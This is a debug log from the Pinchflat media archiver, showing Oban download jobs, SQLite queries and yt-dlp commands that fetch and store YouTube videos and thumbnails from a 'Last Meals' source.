{"args":{"id":59},"id":62,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137074681,"event":"job:stop","queue_time":4245492385,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:29.568 [debug] QUERY OK source="tasks" db=0.3ms idle=803.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:29.568 [debug] QUERY OK source="tasks" db=0.4ms idle=756.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:29.568 [debug] QUERY OK source="media_items" db=0.0ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [60] 22:01:29.568 [debug] QUERY OK source="media_items" db=0.3ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [60] 22:01:29.573 [info] {"args":{"id":61},"id":66,"meta":{},"system_time":1774663289573660642,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:01:29.574 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [61] 22:01:29.574 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:01:29.574 [debug] QUERY OK source="tasks" db=0.6ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:29.574 [debug] QUERY OK source="sources" db=0.4ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:01:29.574 [debug] QUERY OK source="tasks" db=0.7ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:01:29.574 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:29.575 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [60, 61] 22:01:29.575 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [60, 61] 22:01:29.575 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [61] 22:01:29.575 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [61] 22:01:29.575 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:01:29.575 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:29.576 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:29.576 [debug] Running yt-dlp command for action: get_downloadable_status 22:01:29.576 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:29.576 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:29.576 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:29.576 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/89/e5/89e553e8a58896aeb857c4052d6369875ef9247a6e724ec742a2175b9c4799d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:01:32.219 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/89/e5/89e553e8a58896aeb857c4052d6369875ef9247a6e724ec742a2175b9c4799d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:01:32.219 [debug] Running yt-dlp command for action: download 22:01:32.219 [debug] QUERY OK source="settings" db=0.0ms idle=1159.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:32.219 [debug] QUERY OK source="settings" db=0.0ms idle=1159.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:32.220 [debug] QUERY OK source="settings" db=0.1ms idle=1159.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:32.220 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/44/574412891768a27214b4059e7b4114d1948c67aeb37d88456c09f0c0eeaecd30.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:01:58.812 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.640 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:28.814 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:52.363 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/74/a9/74a9d32bcf41ecd4906a83f21df093b9cb296e9cf6787e73e8af9861203066da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:02:52.375 [debug] Running yt-dlp command for action: download_thumbnail 22:02:52.375 [debug] QUERY OK source="settings" db=0.1ms idle=456.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:52.375 [debug] QUERY OK source="settings" db=0.0ms idle=315.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:52.375 [debug] QUERY OK source="settings" db=0.0ms idle=315.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:52.375 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/60/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/88/33/88334381169411aedf5df7562aacc0d3e8ea26d83993fc0971c618975fa78469.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:02:55.208 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eKVkQqFeTsQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/60/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/88/33/88334381169411aedf5df7562aacc0d3e8ea26d83993fc0971c618975fa78469.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:02:55.208 [debug] QUERY OK db=0.0ms idle=1147.7ms begin [] 22:02:55.209 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:02:52Z], "/downloads/Last Meals/2023-11-21 Binging With Babish Eats His Last Meal/Binging With Babish Eats His Last Meal [eKVkQqFeTsQ].mp4", ~U[2026-03-28 02:02:55Z], 60] 22:02:55.209 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/60/metadata.json.gz", "/config/metadata/media_items/60/thumbnail.jpg", 60, ~U[2026-03-28 02:02:55Z], ~U[2026-03-28 02:02:55Z]] 22:02:55.209 [debug] QUERY OK db=0.1ms commit [] 22:02:55.211 [debug] QUERY OK source="media_items" db=1.1ms idle=1149.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [323541416, ~U[2026-03-28 02:02:55Z], 60] 22:02:55.211 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:02:55.211 [info] {"args":{"id":60},"id":63,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":113754700,"event":"job:stop","queue_time":4353456391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:02:55.211 [debug] QUERY OK source="tasks" db=0.2ms idle=1151.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:02:55.211 [debug] QUERY OK source="tasks" db=0.3ms idle=286.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:02:55.212 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [61] 22:02:55.212 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [61] 22:02:55.217 [info] {"args":{"id":62},"id":67,"meta":{},"system_time":1774663375217810933,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:02:55.218 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [62] 22:02:55.218 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:02:55.218 [debug] QUERY OK source="tasks" db=0.5ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:02:55.218 [debug] QUERY OK source="tasks" db=0.5ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:02:55.218 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:02:55.219 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:02:55.219 [debug] QUERY OK source="media_items" db=0.5ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [61, 62] 22:02:55.219 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [61, 62] 22:02:55.219 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [62] 22:02:55.219 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [62] 22:02:55.219 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", 